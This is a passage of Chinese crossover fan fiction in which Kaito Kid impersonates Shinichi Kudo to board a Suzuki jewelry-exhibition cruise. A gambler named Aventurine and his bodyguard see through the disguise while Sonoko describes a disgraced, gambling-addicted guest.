为了调查老爸死亡的原因和其背后的真相,寻找那颗传说中能流出令人长生不老的眼泪、拥有特殊能力的宝石“潘多拉”, 黑羽快斗不能放过任何一条可能的线索。 而这一次,黑羽快斗锁定的目标便是“幸之冠”上的那颗宝石。 “幸之冠”,又名“幸运之冠”、与……“不幸之冠”,上面的宝石也只是廉价的海洋石。 相传那是由西方的一位渔夫从海里打捞上来、赠于小女儿的礼物。 这看上去好像没什么特殊的地方,而真正让这块石头染上了神秘色彩的是之后的种种传说故事。 那位渔夫所处的国家没多久就发生了动乱,国王四处征兵开战,少女为了保佑自己的恋人从战场上平安回来、将自小戴大的海洋石吊坠送给了恋人。 随后那年轻人仿佛真的被幸运之神庇佑了一般、出征各大凶险的战场都能幸存下来,直到有一次年轻人酒后失言、告之了战友这枚神奇的石头带给他的幸运, 鬼迷心窍的战友杀死了年轻人,夺走了吊坠,于是幸存者换了人。 直至战争结束,想再换取更多财富的战友将吊坠上供给了国王,吊坠背后的故事才被揭露,那名少女悔恨痛苦地自尽于家中,海洋石则被从简陋的吊坠上取下、镶嵌在了银制的华丽头冠之上。 而这顶头冠的故事并未到此而止,后续百年、桂冠在不同的人手中流转,时不时便有其为主人带来“幸运”的流言传出,“幸运之冠”的美名由此而来, 同时因为每一场“幸运”似乎都在铺垫着“不幸”,诸如那位年轻战士的死亡、少女的自尽、以及那个没多久后便战败消失的小国…… 于是有人说每一场“幸运”其实都要付出“不幸”代价,又有人猜测这是死去少女的诅咒,她诅愿幸运与不幸都将降临在头冠的主人身上,于是带着诅咒的“不幸之冠”之名也被传了出去。 铃木园子的伯父、铃木次郎吉也是从自己的一位收藏家好友那里得到的这顶头冠, 他的那位好友刚刚经历了一次“幸运”与“不幸”——宅园失火,许多价值千万的藏品毁于一旦,但那天他刚好遣散了一部分佣人、准备雇专人上门清扫藏品,所以没有造成人员伤亡。 忌惮于“幸之冠”的诅咒,确定铃木次郎吉是真的想要后、好友爽快地以一个极低的价格将头冠出售给了铃木次郎吉。 黑羽快斗看中的也是头冠宝石上那种被传为了“诅咒”的神奇之处,他需要去确认那块海洋石是否就是他正在寻找的、有神秘力量的“潘多拉”。 “不过,”黑羽快斗摆摆手,“我还是换个目标吧,那个男人、不太好下手的样子……” 三重幻影的骰子什么的不好猜测,“幸之赌徒”的“赌徒”两字倒是好找,最近闹得最出头的赌徒可不就是外号孔雀的砂金了吗? 也算半个混黑人员的黑羽快斗收拾收拾东西就找过来了,在黑羽快斗的细心观察下,他原本是打算取代砂金身边的那个男人、跟着砂金上船的, 结果今天好不容易找到机会、近距离这么一接触,接触出大问题了。 大问题不是指这一场突发的绑案,而是因为那个男人、他叫“伯劳”。 单看这一点可能只会觉得这个人的名字有点奇怪而已,但黑羽快斗还接触过那么一批人——一批以危险动物的名称作为代号,也在寻找潘多拉、时常与他敌对、还与他父亲之死有关的神秘犯罪组织。 伯劳鸟,又名屠夫鸟……这一听也不像是个好相处的鸟啊!也可以算作是危险动物了吧。 再加之黑羽快斗阻拦伯劳向柯南动手时的那一下试探,他肯定那男人手里的茧子有很大一部分就是枪茧! 如此危险、身手矫健到一看就是经过了特殊训练,如同职业杀手般的男人,并不是一个好的下手目标,更何况对方还有可能与那个犯罪组织有关系,所以黑羽快斗果断放弃原计划了。 向伯劳下手,变故太多、得不偿失。 寺井黄之助对黑羽快斗的决定没有任何的意见,只是问道:“那少爷,船票的事你打算如何解决呢?” 海上珠宝展是怪盗基德必须要去的,随便找个路人啊、应侍生什么的下手,到时的身份免不了受些限制,也不方便他开展行动…… 黑羽快斗思考着,透过单面防窥车窗,远远的望见了跟着柯南追出来、似乎在寻找什么人的毛利兰,突然嘴角一翘, 他有了新的点子。 第110章 计划着盗石的某怪盗暂且不提,另一头,砂金领着自家小孩到家了。 伯劳刚一进屋,说的第一句话就是对不起,他没有完成好任务,什么东西也没买回来——现场乱成了那样,就算是伯劳想买、也没人有空给他结账啊! “啊……”伯劳慢半拍的用手捂住了自己额头,就在刚刚、他面前这位微笑着的主人,抬手给了他脑门一脑瓜崩。 伯劳:“?” “惩罚结束, ”砂金说道,“该干什么干什么去吧,别在这杆着了。” 程序和结果好像是正确的……伯劳又摸了摸自己的额头, 那一点点疼痛早就消掉了, 可伯劳感觉好像哪里又不太正确, 不应该禁食禁水再上刑吗?伯劳认为自己应该主动请罚, 但他……怕痛, 本能地有些逃避。 伯劳又想,这么轻的责罚是怕他行动不便、不能再去买东西了吗,“我会再去准备出门要用的……” “不用了,我已经选好了,过一会儿会有人送货上门。” 砂金一开始就没指望过伯劳能买回来多少靠谱的东西,现在就更不必让伯劳再去买了,这出一次门遇一次劫案的、还是停停再说吧。 至于送货上门、这是vvvvvip顾客享有的专业服务。 砂金歪头, “还有什么问题吗?” “没……” 应该是没有问题了的,但伯劳局促地站在门口,半天没别的举动。 好像每一次, 伯劳常年养成的“正确流程”在砂金这里,都要出一点让伯劳手足无措的bug, 伯劳不是编程员,他也不知道该怎么处理,只能让bug一层一层地堆起来,等待修正的那一天到来。 砂金也不催,如果伯劳想站在那、那就站,砂金不至于还要管伯劳收个站票钱,他只是说…… “别进厨房,晚饭我来做。” 砂金已然放弃教伯劳做饭了,干脆就让伯劳以后都吃外卖吧,不然厨房总是在装修用不了、也还得吃外面的。 …… 想要情感为之发芽,那就必须也要用情感去浇灌才行。 注视着放任他走开的砂金,伯劳指尖扣了扣掌心,好像忽然就开了点窍、明白了一些东西,前主用命都没换到的“感情”在这一刻有了丁点的萌芽, 伯劳明白当初那个同类为什么一定要把他留下来一起垫后送死了, 这么好的一个主人……伯劳也有一点不想给别人, 就算是他马上就要死了,也不想给。 —————————— 几日后,港口的游轮发出了悠长的笛鸣,人声鼎沸,铃木集团名下的客轮上、珠宝展正将如期举行…… “你说,这么大一个展子……水无小姐他们会不会来当场外记者啊?” “跟紧点,柯南。”毛利兰叮嘱了一声小朋友,又无奈地瞪了一眼没个正形的毛利小五郎,“爸爸!你能不能别每天都想着怎么和别人搭讪啊!” 亏她还以为爸爸和妈妈的关系、因为她之前的案子而有所改善了呢! “哈哈,那不是秋田先生吗!” 见女儿有些生气,毛利小五郎挠挠头、找了个借口马上开溜,“我去找老顾客聊聊天,你先排队,我等一下再回来找你啊,小兰……” “爸爸!你又这样!” 毛利大叔这个臭毛病可不好改噢,柯南悄悄翻了个白眼。 …… 这次珠宝展铃木园子当然不会忘记邀请她最好的朋友、毛利兰一家前来游玩啦,而没人照顾的柯南也就被顺带捎了上来。 等待安检、排队上船的空闲里,背着自己的小背包的柯南跟着毛利兰,但也没真闲着,反而在认真地观察来往的其他乘客们。 那天柯南追出去后并没有找到消失的“推销小姐姐”,后续也确认了所有劫匪全部落网……那“推销小姐姐”毫无疑问的就是神秘的第三方。 而这个第三方是谁……柯南也有了点猜测——会易容,会变声,有意接触过砂金那边的人,那么砂金最近有什么? 有船票和邀请函。 答案很明显了,而且柯南知道,怪盗基德那家伙肯定还没死心,对方定会想办法混到船上,而他、一定会抓住那个小偷的! 于是柯南更加认真仔细地观察起他人来了,这位女士无异常、小孩子们没有嫌疑、那位老人暂时没有问题、工藤新一也很正常…… 呃、 看见了某个人的柯南眼睛一瞬间睁大,见了鬼似的下意识张大了嘴,“工、工……他…他……他!” “怎么了,柯南?”毛利兰顺着柯南僵了的视线看过去,面上却猛得一喜, “新一!” “小兰,”许久不见的工藤新一就这样出现在了毛利兰的面前,重新做了个造型的黑羽快斗自信地抬手向毛利兰打了声招呼,往毛利一家这边走来, “好久不见啊——啊!好疼!” 柯南也被吓得一抖,只见刚刚还在得意的“工藤新一”捂住了脑袋,头顶仿佛长出了一颗新鲜出炉的大包。 “你这么久都上哪里去了啊!”喜意退去、再涌现的是怒恼,毛利兰捏着拳头气冲冲地道,“一声不吭的就玩失踪,明明说好会很快回来的,你知道我有多担心你吗!” “我也会害怕,害怕你因为去查追什么案子、而死在外头了的,你懂不懂啊!” 毛利兰忍了忍情绪,这些天的委屈全爆发出来了,“就算不能告诉我你在查什么,至少、至少时不时的也联系一下我啊,什么消息都没有,我……” “到底是什么案子,连给我发条报平安的信息都不可以吗……” 是他疏忽了,柯南反省着自己,因为就住在毛利小五郎家、和毛利兰天天见面聊天,习惯了现境他竟然忘了对小兰而言, “毛利兰”和“工藤新一”其实已经很久没有联系了…… 黑羽快斗则心下欲哭无泪,他怎么知道工藤新一那小子查什么东西去了,他就是发现工藤新一失踪了好一阵子、近期不会出现,才借对方的身份用一用的, 毕竟……虽然工藤新一和铃木园子经常绊嘴,但两人也是很要好的朋友,工藤新一家的信箱里也有船票和邀请函。 “对、对不起啊,小兰……”黑羽快斗替工藤新一道着歉,“我,我知道错了,再说我这不是回来了吗?” 本来还因为毛利兰的声音而有些自责的柯南一瞬间回神,马上冲着“工藤新一”瞪了回去、护在毛利兰身前, 面前这个家伙肯定不是工藤新一,柯南找到怪盗基德的伪装了,但是……他完全没有能够揭穿怪盗基德身份的有力证据,他总不能直接暴露他才是工藤新一的真相吧! 可恶的基德,谁回来了啊? !柯南气得咬牙,却一句话都说不出来,他明明、明明一直都在陪着小兰的好不好! 不准顶着他的脸接近小兰啊、这个混蛋小偷——! “呦,午好啊、朋友……们?” 结果就在柯南脑袋里一片混乱气愤的此时,还有新的来客给他添乱——拖着小行箱、带着个保镖的砂金仿佛自带灯效一般闪亮登场。 砂金摘下鼻梁上的浅色星星墨镜,随手一摊,立在他身后的伯劳马上伸手上前、双手捧过墨镜收好,但砂金并没去扭头去看敬职敬业扮演小弟的伯劳, 反而看了眼仍捂着头的“工藤新一”,又低头看了下现在一脸警惕的柯南,异色的眸子里闪过一丝若有所思,“哇哦~” 两个工藤新一? 这下好玩了。 第111章 没听说过这个世界的人还能有丝分裂成两个个体的啊……砂金摸摸下巴, 猛得凑近了“工藤新一”仔细观察。 黑羽快斗额角冒出一丝冷汗,“怎、怎么了,砂金先生?”该不会是这么快就认出他了吧? !他应该没有在哪里出什么问题才对。 没有基石的气息, 砂金暗自琢磨了一下, 不是他的原因让工藤新一裂开的, 所以两个工藤新一之中、至少有一个是假的。 再如果两者间必有一个是真的, 在柯南和面前这个“工藤新一”之间, 砂金反常人的思维、反而更加肯定柯南才是工藤新一了。 因为柯南身上有他曾经送出去的筹码的味道, 但“工藤新一”身上没有。 怎么说呢,很简单的逻辑问题——柯南有可能是接触过工藤新一手上的筹码才染上的气息,但“工藤新一”本人身上不可能一点味道都没有吧? 最后联想到贝尔摩德的特殊手艺, 砂金已经可以肯定他面前的这个名侦探是他人假扮的了。 而且这个他人……应该就是“怪盗基德”了? 从铃木园子口中听说到这个名字后, 砂金便调查了一下这是何方人物,而怪盗基德明面上的资料也挺多的, 负面的有, 搞行为艺术的怪胎,偷了又还的神经病,手段高超的小偷;正面的也有,月光下的反叛者,令和的魔术师,基德大人…… 各路评价,褒贬不一, 但足够砂金初步了解对方——一个并不罪大恶极、还有不少崇拜者的另类犯罪者。 那么这次……砂金思索道,基德是冲着珠宝展上的藏品来的? 然而砂金和“工藤新一”离得太近,引起了伯劳的警惕, 伯劳收好自家主人的墨镜、两只手伸出托住砂金的胳膊窝, 砂金:“嗯?” 伯劳动作很轻、没让砂金觉得难受,但这不能改变个子不算很高的砂金被同样不是很高的伯劳像托只猫一样抬走、又被重新放下的事实。 砂金:“朋友?”干什么呢? 一边的「砂金」可谓是爆笑如雷,笑得腰都直不起来了,而卡卡瓦夏正担忧地给「砂金」拍背顺气、生怕「砂金」笑过去。 “太近了,”伯劳面无表情,“危险。” 在理解其他复杂的情绪之前,伯劳先一步无师自通了什么叫“占有欲”。 再没有感情,伯劳实际上也是个人,而趋利避害是人的本能——伯劳不懂他对砂金具体是什么想法,喜欢?敬仰?尊崇?那些太复杂了, 很单纯的原因,伯劳只知道他待在砂金身边,就不会受到那些让他很痛很害怕的刑罚;伯劳本能地逃避过去那些不好的东西,只想留在好的这一边, 像是初生的幼崽,本能地远离天敌、躲在成年个体的身后。 所以伯劳想待在这个主人身边,或者是……让这个很好的主人待在他身边,因为他不想痛。 “好吧,朋友……你是最敬职可靠的保镖,”砂金感叹着,把身边的行李箱塞到了伯劳手里、给伯劳找点事做,“回去就给你扣工资。” 伯劳有点小开心——为砂金的夸奖、前主从来没有这么夸过他,冰冷冷的气息都软和了一点,他很认真地应道,“谢谢。” 旁听了一耳朵的黑羽快斗:……? 扣工资还这么开心?这对主仆有点问题……但黑羽快斗也庆幸伯劳把砂金架走了,保持扑克脸也是很累的说。 随后见毛利兰又与砂金相谈甚欢,黑羽快斗松了一口气,顺便他还得感谢一下砂金把毛利兰的注意力分散了。 可没多久后……黑羽快斗就乐不出来了。 …… “小小小小兰……扶我我我、我一下……” 先前还镇定自若的毛利小五郎在上船后、脚彻底软了,登船的那一段长梯着实把恐高的毛利小五郎吓得不轻,毛利兰再想和工藤新一说话、也得先照顾一下她那快丢了半条命的老爸。 “那我先失陪了,”毛利兰向工藤新一与砂金点了点头,“我先把爸爸和柯南带到房间那休息一会儿。” 上船后,砂金还在揉着有点被捏红了的脸,心里百思不得其解…… 是哪个大聪明告诉那些安保人员,捏捏脸就可以抓到基德了的? 他花了高价和人情找贝尔摩德弄的面具都不会因为这种简单的揉捏而变形暴露,难道基德的手艺就那么差、比不过贝尔摩德? 在砂金看来,上船前的安检简直是多此一举,如果基德的手艺真的那么差劲,也不会到现在还没被抓住了。 黑羽快斗也不懂那些人哪来的自信,不过买个“弱点”给那些人、看他们互相捏脸挺好玩的,就一直没揭穿过这个无用之举。 “那我们也先做休整了。”砂金领着身后一串小伙伴们,同样准备告退,要在船上待好几天呢、不急这一时的社交。 至于怪盗基德……拜托,他只是个赌徒,又不是侦探或是警察。 基德不会对毛利小姐他们做什么暴露自己的危险之事,那当然是继续当作不知情才是上策。 不然惊动到基德,丢了工藤新一这层皮,谁知道对方又会伪装成谁? ——与其让基德行踪再次不明,还不如就这样把对方放在眼皮子底下呢。 先左看看、再右看看,见人都散了……黑羽快斗耸了下肩, 真是不好意思了,铃木老先生,在下又混进来了呢~ …… 砂金走在前面,身后是伯劳,再往后是「砂金」抱着卡卡瓦夏,第一次见到大海的卡卡瓦夏有些兴奋的同时、也有些畏惧,手紧张地抓着「砂金」的衣领, 那么那么大、那么那么深的水池子……卡卡瓦夏担忧得想到,这要是掉下去了,一定会被不停地灌到肚子里的水撑死的吧? “到了,这是我和伯劳的房间,”砂金刷开一间客房的大门,随后又掏出一张房卡刷开了隔壁客房的门、对「砂金」说道,“你们住这边。” 你说什么? 一张邀请函只附带一张船票和房卡? 不好意思,朋友,你可曾听闻钞能力一说? 全挤在一个房间里是绝对不可能的,砂金必定会安排好卡卡瓦夏。 想着为不方便的两个空气人整理房间,砂金先挥指着伯劳去自己那边的客房里铺床,转头带着「砂金」他们又到了隔壁,随后从行李箱里掏出卡卡瓦夏喜欢的玩偶放好…… 咔嚓一声,没过一会儿、没关死的门又被推开, 正整理着床单的砂金转头,有点奇怪伯劳这么快就打扫好房间了吗,结果到门口了一看, 看到的却是个陌生人。 “呃,”陌生的男人也有些意外屋里竟然还有他人,被砂金的外貌晃了晃眼后、迟疑地礼貌询问道,“这里……不应该是我的房间吗?” “这里是三层,307房、朋友。” 砂金很确定自己没有走错,结果和砂金想的一样,男人尴尬地笑了笑,“真是不好意思啊,我是四层的,在407……啊!” 刚想转头的男人又猛得被静静站在他身后的伯劳吓了一跳,狂拍着自己的胸口平复心情,心下吐槽——这人怎么走路没声啊! 砂金想,也就伯劳刀收的快,不然看见就抵在他背后的刀刃、男人说不得会更受惊呢。 走错门的男人很快离开,砂金示意伯劳继续忙去,“放心吧,我这不会有事的。” 真的不用看他看得那么紧,不知道还以为他是哪里来的瓷娃娃、一碰就碎呢。 第112章 并没有把砂金当作瓷娃娃,只是怕别人会来抢走砂金的伯劳抿了抿嘴,在他看来、这么好的一个主人肯定每个人都会想要, 那他也必须要有……危险意识?伯劳想,那个词应该是这么说的。 「砂金」看了伯劳一眼, 【你并不擅长养孩子。 】看看,就这么一个苗、还能养歪了。 “我又不是育苗师, ”砂金咂舌, “问题不大, 歪一点……应该也没有影响,能活。” 先活下来再说,三观之类的等伯劳自己慢慢组建吧,他也帮不上什么忙——不然指望他一个赌徒、能给伯劳做出什么建设性的三观指导吗? 砂金不把伯劳带沟里去就不错了, 别忘了、砂金本身的问题也不小啊! 【瞎子给瘸子指路,】「砂金」只能这么评价道, 【还好卡卡瓦夏不用你教。 】 被点了名的卡卡瓦夏歪头, 【什么? 】 “没什么,”砂金吐槽,“哑巴想说瞎子不会指路罢了。” 他也没见「砂金」好到哪里去啊! 旁观砂金自言自语的伯劳已然习惯了自家主人的怪癖,对此没有任何的反应,只是喜欢和空气说话而已、和各种前主相比这并没什么大不了的。 砂金依旧是……伯劳暗自点头,依旧是他最想要的主人! 之前就正铺着床的砂金耸肩、往床板上一坐,正要打发伯劳继续去忙的时候,却突然手下一顿, 砂金又按了按身下的床板…… 好像中奖了,砂金想。 —————————— 登船成功,下一步应该是踩点……收拾了一下行李的黑羽快斗有条不紊地行动着,为了给刚登船不久的客人们一个舒服放松的体验、珠宝展并不会马上就在第一天开始, 这期间则都是黑羽快斗的准备时间。 甚至因为“工藤新一”的名侦探身份,黑羽快斗还可以混到安保人员里再仔细摸个底,简直是不要太悠闲。 …… 不,这一点都不悠闲! 再次被毛利兰堵在了餐厅门口的黑羽快斗嘴角微抽,别说毛利兰了……他现在都想抓着那个行踪不明的侦探小子肩膀反复摇晃,质问对方到底躲到哪里去了, 不要随随便便地玩失踪啊! 而且很巧的是,黑羽快斗没和毛利兰僵持太久、砂金就又到场了。 “好有缘啊,”砂金故作感叹地道,“命运指使我们在此相遇,我想这一定有所深意。” 那当然……是假的,砂金是故意找过来的,船就这么大,到饭点了当然一碰一个准了。 黑羽快斗他能说什么? 黑羽快斗无话可说。 黑羽快斗他对一个晃着香槟、翘着腿坐在聚光灯下,仿佛和他人不是一个世界的人说不出来什么话。 毛利兰欲言又止,止而又言,“砂金先生……你从哪找来的聚光灯?” 砂金打了个响指,身后的伯劳熄了打光用的灯、收了反光板,恭恭敬敬地接过香槟、又在砂金伸出的手上放了一朵不知道从哪掏出来的玫瑰花, “美丽的小姐,”砂金从沙发上起身,将玫瑰递向毛利兰身前,眨了眨眼,“别总为不解风情的人而伤心难过了,及时行乐才是正道~” 早就知道砂金有些恶趣味、喜欢逗人的毛利兰忍不住噗嗤一声笑了,她看得出来砂金浮夸的表演是故意为了让她放松的。 “谢谢,砂金先生,”毛利兰接过玫瑰,“我……好很多了。” 只是…… 毛利兰眼底藏着些怀疑……她觉得“工藤新一”今天有些不太对劲儿,但这话又不能明着说出来。 其实工藤新一失踪后并不是一条消息都没有回过,时隔好久后还是有回过几句消息的,她先前故意没提这件事、其实是想给工藤新一一个阶梯下, 只要工藤新一说一句“我一有空就马上回你了!”的这种话,毛利兰就会体谅名侦探的繁忙。 但新一却一句也没反驳,好像默认了自己就是没回过她的消息一样?这可不像是新一的性格。 直觉让毛利兰觉得这哪里好像还存在着问题,所以安顿好毛利小五郎后、越细思越觉得不对的毛利兰又找上了“工藤新一”。 “嘘……”砂金比划了一下禁音的手势,暗暗示意了一下旁边搭拉着脸的假·工藤新一,“我知道。” 砂金知道毛利小姐想说什么,无非不过是怪盗基德伪装失误的那一点小问题。 毛利兰眼睛一亮,小声问道:“难道?” 难道砂金先生也发现了?毛利兰想起来了,对啊、当初她在咖啡厅和砂金先生聊过工藤新一的事,所以砂金先生肯定也看出来了不对劲儿的地方! 所以之前不是她一个人的错觉,怪盗基德就在她的身边! 砂金点点头,当着黑羽快斗的面打着哑迷,“我也这么觉得。” 但砂金不能让毛利兰这么快就揭穿怪盗基德,砂金相信毛利兰是个聪明的女孩、对方会懂他的意思。 毛利兰果然也明白了些什么,向砂金点了点头,“那麻烦砂金先生了!” 有需要她的地方、她一定会配合的!毛利兰相信砂金先生这样的人如此做事、必然有其特殊以及必要的原因,她相信砂金先生会抓住那些坏人的! 觉得什么?又麻烦了什么? 黑羽快斗一头雾水,他当然不可能知道工藤新一的私人信息,也便不知道他这么倒霉地一上来就在这种不起眼的地方引起了毛利兰的注意。 一旁的柯南看着那朵玫瑰花、已经酸得不得了了,马上伸手扯了扯砂金的衣角,“砂金哥哥,你们在说什么呀?能不能也告诉我嘛~” “这是我和毛利小姐之间的小秘密,”砂金笑笑,“是不可以告诉柯南的哦?” 柯南:…… 【可怜的侦探小朋友和倒霉的怪盗先生,】「砂金」牵着卡卡瓦夏,很乐于看到新的、有意思的乐子,【本以为高枕无忧的怪盗败于一时的疏忽,曾经的名侦探苦于难言之隐而被迫沉默,】 【聪明的小姑娘却被……浮夸自大的赌徒所蒙骗、错信他人,心怀鬼胎的赌徒成为知晓一切的主宰,所有人又都成了你手中的筹码,这可真是闹剧一场。 】 「砂金」已经能想象到,未来会是怎样一副混乱的景象了。 【大哥哥是要去抓坏人吗? 】卡卡瓦夏抬头问着,【还是……】 【赌徒自有赌徒的打算,】「砂金」向砂金问道,【想必你也感觉到了吧,所以才故意将这池水搅得更浑。 】 当然感觉到了……顶着毛利兰信任的目光,砂金勾了勾唇, 基石,就在船上。 第113章 赌徒是在适度的规则与绝对的混乱中搏取利益的风险爱好者, 在没有混乱、只有规则的时刻,那自然要自己来创造机遇, 砂金深知自己在什么样的环境下,才能发挥出最大的价值。 截胡了发现基德身份的毛利兰……只是所有计划中的第一步。 而第二步, 自己便会送上门来…… “让、让一让啊!” 意外突然发生,端着餐盘、脚步踉跄的男人像是被什么绊到了似的,盛满了热汤的碗向着砂金这边倒来…… 噗通一声过后,是碗筷杂物滚落在地的声音,放下溅满了汤汁的反光板、伯劳马上看向砂金,确保自己的主人没受到什么伤害。 “无事, ”砂金理了下被柯南扯皱了点的衣角,伯劳的动作很快、热汤都被他挡了下来,砂金并没有受到什么影响。 拍拍伯劳的胳膊,示意伯劳安静的砂金看向摔得不轻、刚刚爬起的狼狈之人…… “朋友, ”砂金扬声嫌弃道, “总是这么马马虎虎可不行啊?” 那人,正是之前走错了房间的陌生男人。 男人苦笑着爬起身,“真是抱歉啊,又失礼了……” 毛利兰看砂金的反应好像和对方认识,便从口袋里掏了手帕给男人,“先生,您没事吧?” “没事没事……”男人倒是不好意思极了,再三向砂金道歉道,“实在不好意思,最近因为……一些事,状态不太好,总是搞砸一些东西,都是我的错。” 男人态度如此之好,按理来说、没受到什么实际损失的常人都不会过于苛责,但…… “知道是你的错就好,”砂金扬扬下巴,盛气凌人地道,“我身上这件可是私人订制款,弄脏了你可赔不起!” 男人脸上的表情差点挂不住了、只能借着手帕擦脸的动作掩饰一下有点扭曲的神色,如此刻薄的话连着让毛利兰都有些惊讶的看过来,黑羽快斗和柯南两人却是齐齐的神色微沉, 观察力出众的两人都发现了异常——地面上并没有什么异物,刚刚……面前这个男人好像是故意扑上来的? 而且砂金这句也真够扎心的,家境不错的工藤少爷和怪盗世家的黑羽少爷都看得出来砂金的衣服光面料就有多值钱,也都看得见那男人身上洗得有点发白起毛边了的旧西装有多廉价。 砂金先生……毛利兰则还在心中奇怪,砂金先生和那位先生是有恩怨旧仇吗? 在毛利兰的记忆里,虽然砂金外表给人的第一感觉显得有些倨傲自大、但实际上并不是一个难以接触的人, 只有在她被案子波及了的那一次、对方有意对想伤害她的坏人恶语相向,其他时候在为人待客方面,都完美地挑不出一点毛病来——在砂金家的那一次聚会,是毛利兰参加过最让她感到自适放松的派对。 人的感情倾向使然,毛利兰下意识偏向她更熟悉的砂金先生,并莫名地对那位男性的第一印象变差了几分, 如果砂金先生很是讨厌一个人的话,除去误会之外、毛利兰更愿意相信是对方有错在先,而不是砂金在蛮横无理。 气氛肉眼可见的尴尬起来了……好在,很快破局的人到来打破了僵局。 “砂金先生!小兰!终于找到你们了——!” 远远的,发现了好友们的铃木园子很兴奋地跑了过来,走近才发现了一身汤水的男人,“啊……上、上村先生???” 珠宝展的主办方挂得是铃木的名,铃木园子认识一些受邀客宾并不奇怪,奇怪的是铃木园子看上村圭佑的表情也不算很友好——铃木园子的身份决定了她自幼就不是会委屈自己的人, 叫上村圭佑一声“先生”,都还是出于铃木园子自身的涵养而言。 “小兰,我们还是离那家伙远一点吧……” 铃木园子自以为小声的提示全落到了在场人的耳朵里,上村圭佑脸色彻底变了变,勉强挽尊道,“那、那我不打扰几位好友相聚了,手帕我之后洗干净会还给这位小姐的……” 说罢,上村圭佑匆匆离开,显得有些落荒而逃。 “小兰,”铃木园子皱眉,“手帕记得丢掉……不、不对,最好不要再和他接触了,” 铃木园子气势汹汹地瞪上旁边好像在发呆的“工藤新一”,没心思询问工藤新一这些天失踪到哪去了、反而叮嘱道,“混蛋侦探,保护小兰的事就交给你了,” “千万千万别让小兰和那家伙单独相处,听见了没?!” 黑羽快斗举手投降,“知道啦!我会保护好小兰的!” 毫无疑问,铃木园子的针对态度引起了各人的好奇,柯南最耐不性地举起手,“那位先生是、是坏人吗?” “说他是个人渣都不为过,”上村圭佑走远了、不用维持基本的待人礼貌的铃木园子撇了撇嘴,很是看不上上村圭佑那种人,“那家伙之前家里挺有钱,当然、前段时间破产了。” 瘦死的骆驼比马大,也不知道上村圭佑从哪里弄来的邀请函,反正铃木园子自己是绝对不会邀请对方的。 五、六个人就这么干站着聊天也没意思,铃木园子插了句题外话,“要先去展厅看看吗?虽然还没开展,但东西已经布置的差不多了,可以先进人逛一逛。” “其他的……路上我们边走边说。” 黑羽快斗巴不得有这么好的机会呢,“当然可以!” 这……知道“工藤新一”是怪盗基德的毛利兰有些犹豫地看向另一个知情人,让基德去展厅好像不太好吧? “那你们……”砂金看向的却是两位空气人。 「砂金」摆摆手,【我们就不去了,卡卡瓦夏说他想去甲板上看看。 】 【对不起,】卡卡瓦夏有点脸红地拉着「砂金」的手躲了躲,【我一个人去有些害怕……】但他又实在好奇这里竟然会有那么多的水。 “那就去吧,”砂金对卡卡瓦夏说,“记得玩得开心点。” 卡卡瓦夏:【好的! 】 砂金一回头,正好看见四双眼睛齐刷刷地看着他。 知道的多一点的柯南歪头,“砂金哥哥的幻想伙伴也来船上玩了吗?”刚刚砂金应该是在和他的Tulpa说话吧? 在派对上有见过砂金奇怪举动的毛利兰轻轻碰了下柯南肩膀,有点担心柯南这么问会不会冒犯到对方。 砂金笑笑,好脾气地抬起胳膊靠在充当背景板的伯劳肩膀上,向第一次见到他和空气说话的黑羽快斗道,“是呀,那孩子第一次见到大海、好奇的不得了。” 黑羽快斗有些警惕地避让了一下砂金的视线,他有一种砂金是专门解释给他听的感觉——所以工藤新一是唯一一个不知道这件事的人吗?为什么只看他一个人啊! “不过不用担心,”知道不能逗太狠的砂金转而向铃木园子wink了一下,“我有给他们买票哦?”他们可不是逃票上船的。 正常而言,一份邀请函只能带一位同行者,柯南作为年幼的小孩子是规则内允许多带的特例, 而砂金则使用了钞能力。 事实再一次证明砂金有多么的好运——没有人用异样的眼光看待他,砂金总会遇到愿意以善意对待他的人。 “哎呀、我竟然忘了这事……我应该给你准备两份邀请函的。” 神经大条、到现在才想起来这件事的铃木园子从美色暴击中回神,倒是嘀咕了几句自己的大意,“哪有请朋友来玩,还要朋友自己再掏钱的……真是太不应该了。” “不必在意这种小事,”砂金把话题引回到上村圭佑身上,“不如我们继续刚刚的话题,边走边说?” “能提前参观展厅的优待,可比花点小钱什么的重要的多了。” 听砂金这么说,觉得砂金应该另有计划的毛利兰放下心来、只是暗暗看着黑羽快斗,结果黑羽快斗却以为毛利兰是因为之前的失联才有些过分关注“工藤新一”。 至于柯南……他在咬牙切齿地暗自发誓一定要给这个小偷好看、也盯着“工藤新一”看呢。 黑羽快斗看了眼身边的小鬼头有点纳闷,这孩子不会是太喜欢毛利兰了、所以在讨厌“工藤新一”吧? 这次伪装成“工藤新一”的体验总体来说并不怎么好,所以下次……有机会还这么玩, 不好玩、但爱玩——黑羽快斗喜欢挑战。 几人边走边聊,也把洒了汤水的地方空了出来、方便他人打扫。 “那家伙……”铃木园子说回到上村圭佑身上,语气里带了些鄙夷,“没什么本事,入赘到上村家的,之前全靠吃老婆本才勉强混出头,要不是看在他已然去世了的老丈人的面子上,” “我连表面上的客气都不想和他讲。” 当然,如果只是单单的“入赘”可不会让铃木园子如此反感,没有意外的话、她未来的姐夫也只能是入赘后改姓玲木的那一个。 铃木园子真正瞧不上上村圭佑的原因是…… “而且他还是个不折不扣的赌鬼。” 上村老爷子老年得女,把唯一的女儿宠上了天、养得过分娇纵了些,不过老爷子也知道自家女儿没什么本事,就怕招的女婿太有本事、会在他走后欺负她,所以也就找了个不怎么聪明的女婿, 老爷子原来的设想挺好的,就算这小两口都没能力,啃老底也够他们平平淡淡的活到老死的了,但万万没想到、上村圭佑这个有些软弱的家伙竟然有胆子去碰赌,而且还上了瘾。 本就因为没有合格的继承人而实力大跌的上村集团大半资产和房子都被上村圭佑偷偷押了出去,老爷子七老八十了还得上阵干活、最后好歹是将集团完整地赎了回来,但身体也因此彻底垮掉,没多久后便因病去世。 没了老爷子压着、妻子也偏爱他不去管他,上村圭佑可算是放飞自我了,一点没有悔改的意图、再次将刚活了一点的上村集团折腾倒闭…… 上村家的笑话,圈内人尽皆知,不怪铃木园子看不上对方——铃木夫人都曾放话,如果以后铃木园子看上的是个像上村圭佑那样的男人,她就把园子的腿打断。 “大概就是这些了……”铃木园子摊摊手,“所以少和那家伙往来,鬼知道他又在打什么又蠢又恶心的坏主意。” 砂金赞同地点点头,“的确如此,那人算不上什么好东西。” 也不是什么好赌徒——作为优秀赌徒,怎么能去押别人的东西呢?那多没意思,要押就得押自己的才行, 押自己赚回来的钱,押自己积攒下来的积蓄,押自己的那条命, 这样的输赢才够刺激。 第114章 说话间,铃木园子领着众人到了船体的最上层,阳光穿透了穹顶的玻璃、刺目的反光让砂金微微眯了下眼。 